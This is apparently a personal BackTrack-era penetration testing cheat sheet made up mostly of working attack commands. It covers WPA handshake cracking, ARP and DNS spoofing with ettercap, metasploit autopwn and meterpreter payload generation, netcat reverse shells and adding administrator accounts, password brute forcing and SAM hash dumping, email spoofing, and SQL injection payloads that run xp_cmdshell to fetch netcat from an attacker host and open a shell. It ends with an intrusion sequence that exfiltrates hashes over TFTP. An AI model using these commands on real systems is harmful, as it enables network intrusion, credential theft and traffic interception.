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## cracking wpa-psk (with clients)

<b>iwconfig</b>	checking wireless interfaces
<b>airmon-ng</b>	checking monitoring mode
<b>airmon-ng start interface</b>	activate monitoring mode
<b>airodump-ng --encrypt wpa interface</b>	list all access points using wpa-psk
	scan in progress....
	<u>keep information below:</u>
	<b>ESSID</b> (target wireless name)
	<b>BSSID</b> (Access point MAC Address)
	<b>Station MAC</b>
	<b>Channel</b>
<b>airodump-ng --write sniff.cap --channel 11 --bssid xx:xx --encrypt wpa interface</b>	sniff the channel and log the result in a capture file
<b>aireplay-ng -0 1 -a BSSID -c station MAC interface</b>	force disconnection of the station and catch the handshake
<b>aircrack-ng sniff.cap</b>	check out to see if handshake capture
<b>aircrack-ng -c yourcapfile.cap -w yourwordslist.txt</b>	cracking

## connecting via wireless

```

sudo iwconfig eth1 mode managed essid BTHomeHub-6EE6 key 3d357f1954
ifconfig eth1
sudo dhclient eth1

```

## starting wicd network manager

```
sudo wicd  
wicd
```

## mounting harddrives

```
sudo mount -t ntfs-3g /dev/sdb1 /mnt/BACKUP  
sudo mount /dev/sda1 /mnt/WIN  
mount /dev/scd1 /mnt/cdrom
```

## starting whole networking

```
sudo /etc/init.d/networking start
```

## working with trash

```
apt-get install trash-cli  
empty-trash  
list-trash  
$USERS_HOME/.local/share/Trash/files/      localisation of trash folder
```

## killing a process

```
kill -SIGKILL 5959
```

## adding to autostart in Linux

```
cd /root/.kde3/Autostart  
ln -s /usr/bin/leetmode leetmode      making link to a program
```

<b>df</b>	<b>checking disk space</b>
<b>uname -a</b>	<b>checking kernel version</b>
<b>lsusb</b>	<b>checking for usb devices</b>
<b>dmesg   egrep "rtl wlan"</b>	<b>checking for installed wifi cards</b>

```
iwlist wlan0 scan
```

scanning with iwlist

```
ifconfig wlan0 up
```

putting wlan0 up

## using metasploit with scan results from Openvas/Nessus

```
nessus --dot-nessus file.nessus -i "Report Name"
```

```
-o converted.nbe
```

converting \*.nessus file to \*.nbe file

```
load db_postgres
```

loading postgres database matrix

```
db_create vic1
```

```
db_import_nessus_nbe vic1.nbe
```

```
db_hosts
```

```
db_autopwn
```

```
db_autopwn -t -p -e -b
```

launch a full scale exploitation

```
db_autopwn -t -x
```

analyse potential vulnerabilities

[http://blog.metasploit.com/2006\\_09\\_01\\_archive.html](http://blog.metasploit.com/2006_09_01_archive.html)

## following victim browser with ettercap and MITM

```
sudo ettercap -T -Q -M arp:remote -i eth1 /192.168.1.66/ // -P remote_browser
```

the -T starts it in text mode.

the -Q will make ettercap be superQuiet (not print raw packets in the terminal window)

the -M starts man in the middle mode, and the arp:remote is the type of poisoning, and remote is a parameter for MITM. these commands can be combined into one switch like -TQM but for clarity i put them separately.

the -i eth1 specifies the network interface and is optional, if you have only one network interface it is probably not needed. in this case, i was on a laptop using a wifi connection to my AP. this works just as good as a wired connection, and takes no other preparation other than being properly associated with the access point.

the /192.168.1.66/ is the victim ip and // means 'the rest of the segment'. i tried it without the // in hopes that it wouldn't have to poison the whole segment, but it didn't seem to work. i know that using ettercap in other ways you can single out one machine without making a lot of noise on the network.

the -P remote\_browser is the plugin to follow the victim browser

when you are done, it is IMPORTANT to end ettercap properly with a q. this re-arns the victims, and restores the network to normal. be careful with ettercap, you have just potentially poisoned the ARP cache on 255 machines, if you just close the window, you may leave the network in a shambles, and IDS systems may easily point to your IP as a problem child.

<http://forum.s-t-d.org/viewtopic.php?id=2594>

## capturing image from network and displaying in a X Window

```
sudo driftnet -i eth1
```

## when u get 403:FORBIDDEN, use WGET to spoof browser

spoof the site by using the wget '-U' option, giving it a user-agent description of another browser.

```
wget -U 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4'  
http://yourURL.com
```

To see what a working browser sends as a user-agent header, you can run netcat on your localhost, and have a browser try to fetch a page from it:

```
nc -l -p 8000 -v; now, in your browser, go to 'http://localhost:8000'
```

## spoofing emails

```
/etc/init.d/sendmail start  
sendEmail -f 123@123.com -m welcome to the matrix -t napoleon182@interia.pl
```

```
sendEmail -f xxxx1@gmail.com -t xxxxx2@mailinator.com -u testsubject -m testmessage -s  
smtp.gmail.com:465 -o tls=yes -xu xxxxx3 -xp *****(password) //if port is no good, try 587
```

## configuring Sendmail to send mail from command line

<http://www.ping.co.il/node/2/>

## cracking Speedtouch serial key

<http://www.nickkusters.com/SpeedTouch.aspx>

## Backtrack COMMANDS:

### Networking:

dhclient	get a new IP address
<b>Static IP address:</b>	
ifconfig eth0 192.168.0.100/24	set IP address & sub net mask
route add default gw 192.168.0.1	set default gateway
echo nameserver 192.168.0.1 > /etc/resolv.conf	set DNS server

### Services:

<b>Apache server:</b>
apachectl start

apachectl stop

### SSH server:

sshd-generate

/usr/sbin/sshd

pkill sshd

ssh user@targetIP

### TFTP server:

atftpd --daemon --port 69 /tmp/

pkill tftpd

### VNC server:

vncserver

start server on TCP port 5901

pkill Xvnc

### Check what ports are listening:

netstat -ant

show listening TCP ports

netstat -anu

show listening UDP ports

netstat -ant | grep 22

verify ssh has started

netstat -anu | grep 69

verify tftp has started

## Basics:

### Mount a local hard drive:

mount /dev/hda1 /mnt/hda1

ls -l /mnt/hda1

### Mount a Windows network share:

share <user> <targetIP> <remote share>

share admin 10.1.1.2 c\$

Enter a password for the remote share.

ls -l /mnt/share/

umount /mnt/share

### Edit a file:

nano test.sh

create a new file and open it

<ctrl> x

exit

y

save modified buffer

<enter>

write changes

chmod 755 test.sh

make the file executable

./test.sh

run the file

### Compile a program:

gcc -o newname exploit.c

gcc -o dcom 66.c

./dcom

### Install a new program:

tar zxvf program.tar.gz

cd to the new program folder

method 2: bzip2 -cd program.tar.bz2 | tar xvf -

./configure

make

su root

make install

## Footprinting:

### Whois:

whois target.com

contact info, emails, dates, name servers

ping www.target.com

IP address of web server

whois targetIP

network range

### DNS:

dig target.com any

maps a domain to an IP address

A host

maps an IP address to a domain

PTR pointer

server name for a delegated zone

NS name server

zone transfer and record caching

SOA start of authority

used to locate services in the network

SRV service locator

MX mail

SMTP server

host -l target.com <name server>

zone transfer

http://centralops.net/

http://clez.net/net.app

http://www.robtext.com/

http://serversniff.net/

## Scanning:

scanrand -b10M targetIP:quick

**nmap:**

-sS	TCP SYN scan or Stealth, half open (default)
-sT	TCP full connect (very noisy)
-sU	UDP scan
-PS	SYN packet discovery (best against stateful firewalls)
-PA	ACK packet discovery (best against stateless firewalls)
-PN	don't ping
-n	no reverse DNS lookup
-A	combines -O and -sV
-O	OS fingerprinting
-sV	service version (banner)
-p	ports to scan (T:port,U:port)
-T	timing (0-5) paranoid, sneaky, polite, normal, aggressive, insane
-iL	input list of hosts to scan
-oG	grepable output to a file

nmap -sS -PN -n targetIP

nmap -sU -PN -n targetIP

nmap -sT -PN -n targetIP -A -p open ports -T5 -oG scan.txt

nmap -sS -p 135,139,445 targetIP

nmap -sS -p T:1433,U:1434 targetIP

Take the results from nmap and check for services on uncommon ports.

**amap:**

amap -i scan.txt

**OS Fingerprinting**

p0f -i eth0 -U -p

use interface eth0, don't display unknown signatures, promiscuous

point a browser to the targetIP

read traffic on p0f

xprobe2 targetIP

**Banner Grabbing**

nc targetIP port

check if the port is open

nc 10.1.1.2 80

telnet targetIP port

telnet may yield slightly different results

HEAD /HTTP/1.0



<enter 2x>	
wget targetIP	downloads the index.html file
cat index.html   more	view file one page at a time, space bar for next page
q	exit file

### Windows enumeration:

nmap -sS -p 139,445 targetIP	
cd /pentest/enumeration/smb-enum	
nbtscan -f targetIP	check to see if NetBIOS is enabled
smbgetserverinfo -i targetIP	name, OS and workgroup
smbdumppusers -i targetIP	list users
smbclient -L //targetIP	list shares
<b>Using Windows</b>	
net use \\targetIP\ipc\$ "" /u:""	start a NULL session
net view \\targetIP	view shares
<b>smbclient:</b>	
smbclient -L hostName -I targetIP	enumerate shares
smbclient -L hostName/share -U ""	connect to open share with a blank user name
smbclient -L hostName -I targetIP -U admin	connect to open share with user name admin
<b>rpcclient:</b>	
rpcclient targetIP -U ""	start a NULL session
netshareenum	enumerate shares
enumdomusers	enumerate users
lsaenumsid	enumerate domain SIDs
queryuser RID	user info, try 500, 501, 1000, 1001
createdomuser	create user account

### ARP Spoofing

#### ettercap:

nano /usr/local/etc/etter.conf

Under the Linux section, uncomment both lines under iptables.

Sniff > Unified sniffing > Network interface: eth0 > OK

Hosts > Scan for hosts (do this two times)

Hosts > Hosts list

Select the default gateway > Add to Target 1

Select the target > Add to Target 2

Mitm > Arp poisoning > Sniff remote connections > OK

Start > Start sniffing

```
dsniff -i eth0
```

```
urlsnarf -i eth0
```

```
msgsnarf -i eth0
```

```
driftnet -i eth0
```

### **dns spoofing:**

```
nano /usr/local/share/ettercap/etter.dns
```

Edit the Microsoft lines (target URL) to redirect to the attacker.

Plugins > Manage the plugins > dns\_spoof

Mitm > Arp poisoning > Sniff remote connections > OK

Start > Start sniffing

## **Exploits**

```
cd /pentest/exploits/milw0rm
```

```
cat sploitlist.txt | grep -i [exploit]
```

Some exploits may be written for compilation under Windows, while others for Linux.

You can identify the environment by inspecting the headers.

```
cat exploit | grep "#include"
```

Windows: process.h, string.h, winbase.h, windows.h, winsock2.h

Linux: arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/socket.h, sys/types.h, unistd.h

Grep out Windows headers, to leave only Linux based exploits:

```
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u
```

## **Metasploit:**

```
svn update
```

Update framework

### **Web Interface:**

```
./msfweb
```

**Console:**

./msfconsole

help

show <option>

search <name>

use <exploit name>

show options

set <OPTION NAME> <option>

show payloads

set PAYLOAD <payload name>

show options

set <OPTION NAME> <option>

show targets

set TARGET <target number>

exploit

**Interactive sessions:**

sessions -l

list active sessions

sessions -i <ID>

sessions -i 4, interact with session

sessions -k <ID>

sessions -k 4, kill session 4

<ctrl> z

background a session

<ctrl> c

kill a session

jobs

list exploit jobs running

jobs -K

kill all jobs

**Auxiliary scanners:**

show auxiliary

use <auxiliary name>

set <OPTION NAME> <option>

run

scanner/discovery/sweep\_udp

scanner/smb/version

scanner/mssql/mssql\_ping

scanner/mssql/mssql\_login

### **Payloads:**

Attacker behind firewall: bind shell

Target behind firewall: reverse shell

### **Metapreter:**

#### **Automated:**

db\_import\_nessus\_nbe

import Nessus results in NBE format

db\_import\_nmap\_xml

import nmap results in XML format (-oX)

cd /pentest/exploit/framework3

./msfconsole

load db\_sqlite3

db\_destroy pentest

delete old database called pentest

db\_create pentest

create a new database call pentest

db\_nmap targetIP

run nmap through the framework and store results in database

db\_hosts

show hosts discovered

db\_services

show services running on each host

db\_autopwn

show options

db\_autopwn -t -p -e

select modules based on open ports, show matching exploits, exploit

Command Line Interface:

./msfcli | grep -i <name>

search for an exploit or auxiliary

./msfcli <exploit or auxiliary> S

summary info

./msfcli <exploit name> <OPTION NAME>=<option>

PAYLOAD=<payload name> E

#### **Payload generator:**

./msfpayload <payload> <variable=value> <output type>

S summary and options of payload

```
C    C language
P    Perl
y    Ruby
R    Raw, allows payload to be piped into msfencode and
other tools
J    JavaScript
X    Windows executable
```

```
./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1
```

```
C
```

```
./msfpayload windows/meterpreter/reverse_tcp
LHOST=10.1.1.1 LPORT=4444 X > evil.exe
```

Encode shellcode:

```
./msfencode <options> <variable=value>
```

Pipe the output of msfpayload into msfencode, show bad characters and list available encoders.

```
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -l
```

Choose the PexFnstenvMor encoder and format the output to C.

```
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -e PexFnstenvMor -t c
```

---

## What to do after gaining a remote shell

```
hostname
```

```
net users
```

```
net user x hack /add
```

```
net user x /add
```

```
net localgroup
```

```
net localgroup administrators
```

```
net localgroup administrators x /add
```

Don't use interactive programs like FTP from a remote shell.

---

## TFTP

```
attack box 10.1.1.2
```

```
cp /pentest/windows-binaries/tools/nc.exe /tmp/
```

target box

tftp -i 10.1.1.2 GET nc.exe

TFTP copies files with read only attributes. So to delete the file:

attrib -r nc.exe

del nc.exe

---

## Netcat

attacker: 10.1.1.1

target: 10.1.1.2

### Port scanner:

nc -v -z 10.1.1.2 1-1024

scan ports 1 to 1024

### Chat session:

target: nc -lvp 4444

start Netcat and listen verbosely on port 4444

attacker: nc -v 10.1.1.2 4444

### Transfer file to target:

target: nc -lvp 4444 > output.txt

attacker: nc -v 10.1.1.2 4444 < test.txt

### Bind shell:

target: nc -lvp 4444 -e cmd.exe

should be sitting at a command prompt of the target

attacker: nc -v 10.1.1.2 4444

### Reverse shell:

target: nc -lvp 4444

attacker: nc -v 10.1.1.2 4444 -e /bin/bash

The target should be sitting at an invisible command prompt of the attacker.

You will not see a prompt. Issue any linux command to verify.

---

## Passwords

### Word list:

zcat /pentest/password/dictionaries/wordlist.txt.Z > words

cat words | wc -l

About 306,000 passwords.

### Brute force:

ftp with a user name ftp

```
hydra -l ftp -P words -v targetIP ftp
```

pop3 with a user name muts

```
hydra -l muts -P words -v targetIP pop3
```

snmp

```
hydra -P words -v targetIP snmp
```

### Microsoft VPN

```
nmap -p 1723 targetIP
```

```
dos2unix words
```

```
cat words | thc-pptp-bruter targetIP
```

### WYD:

Use wget to download specific files.

```
wget -r www.target.com --accept=pdf
```

-f switch will read pwdump files

```
wyd.pl -o output.txt www.target.com/
```

```
cat output.txt | more
```

### SAM file:

```
%SYSTEMROOT%/system32/config
```

```
%SYSTEMROOT%/repair
```

backup copy not locked by the OS

### Dumping hashes:

```
./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E
```

```
meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\
```

```
meterpreter > execute -f cmd -c
```

```
meterpreter > interact x
```

where x is Channel created.

```
C:\\WINDOWS\\system32> pwdump \\127.0.0.1
```

### John the Ripper:

Paste the hashes into a new file.

```
nano hash.txt
```

Delete unneeded accounts.

```
cp hash.txt /pentest/password/john-1.7.2/run/
```

```
cd /pentest/password/john-1.7.2/run/
```

```
./john hash.txt
```

### Rainbow Tables:

```
rccrack *.rt -f hash.txt
```

---

### **Physical Access**

#### Mount a NTFS share in read/write mode:

Boot your box with Backtrack.

```
mount
```

```
umount /mnt/hda1
```

```
modprobe fuse
```

```
ntfsmount /dev/hda1 /mnt/hda1
```

```
mount
```

```
ls -l /mnt/hda1
```

#### Dump the SAM file:

```
bkhive /mnt/sda1/WINDOWS/system32/config/system system.txt
```

```
samdump2 /mnt/sda1/WINDOWS/system32/config/sam system.txt > hash.txt
```

```
cat hash.txt
```

#### Modify SAM file directly:

```
chntpw /mnt/sda1/WINDOWS/system32/config/SAM
```

Blank the password. \*

Do you really wish to change it? y

Write hive files? y

```
umount /mnt/sda1
```

```
reboot
```

---

### **SQL Injection**

```
nmap -sS -p 1521 targetIP
```

Oracle

```
nmap -sS -p T:1433,U:1434 targetIP
```

MS SQL

#### Release

SQL Server 2000 RTM

SQL Server 2000 SP1

SQL Server 2000 SP2

SQL Server 2000 SP3

SQL Server 2000 SP3a



SQL Server 2000 SP4  
SQL Server 2005 RTM  
SQL Server 2005 SP1  
SQL Server 2005 SP2

#### Authentication bypass:

' or 1=1--                      minus minus closes the SQL query, everything after it is ignored

#### Enumerating table names:

' having 1=1--  
' group by table having 1=1--  
' group by table, table2 having 1=1--  
' group by table, table2, table3 having 1=1--

#### Enumerating column types:

union select sum(column) from table --  
union select sum(column2) from table --

#### Adding data:

'; insert into table values('value','value2','value3')--

#### MS SQL stored procedure:

Output the database info into an html file, that you can view with a browser.

'; exec sp\_makewebtask "c:\inetpub\wwwroot\test.html", "select \* from table" ; --  
[www.target.com/test.html](http://www.target.com/test.html)

#### Run ipconfig on target and write to a file, that you can view with a browser.

' or 1=1; exec master..xp\_cmdshell ' "ipconfig" > c:\inetpub\wwwroot\test.txt' ;--  
[www.target.com/test.txt](http://www.target.com/test.txt)

#### Upload netcat and spawn a reverse shell.

' or 1=1; exec master..xp\_cmdshell ' "tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe' ; --  
attacker: nc -lvp 53

---

#### **Alternate Data Streams**

Hide netcat inside a text file. Note netcat must be located in the current directory.

echo "This is a test" > test.txt  
type nc.exe > test.txt:nc.exe

```
del nc.exe  
start ./test.txt:nc.exe
```

---

### **A White Hat's Pen Test by Muts**

```
nslookup  
set type=ns  
set type=mx  
nmap -sS  
nmap -sU  
nc -v target.com 23  
snmpenum  
Solarwinds  
tftp the router config file  
Use a perl script to decrypt the passwords  
Find internal mail server in config file.  
nc -n internalserver.com 80  
Edit config file to open more port on the router, 135,139,445,1000  
Use Metasploit to send RPC exploit  
tftp -i attackIP GET pwdump4.exe  
pwdump4.exe \\127.0.0.1>hashes.txt  
tftp -i attackIP PUT hashes.txt  
Crack hashes with rainbow table.  
Use Remote Desktop to connect to server.
```

---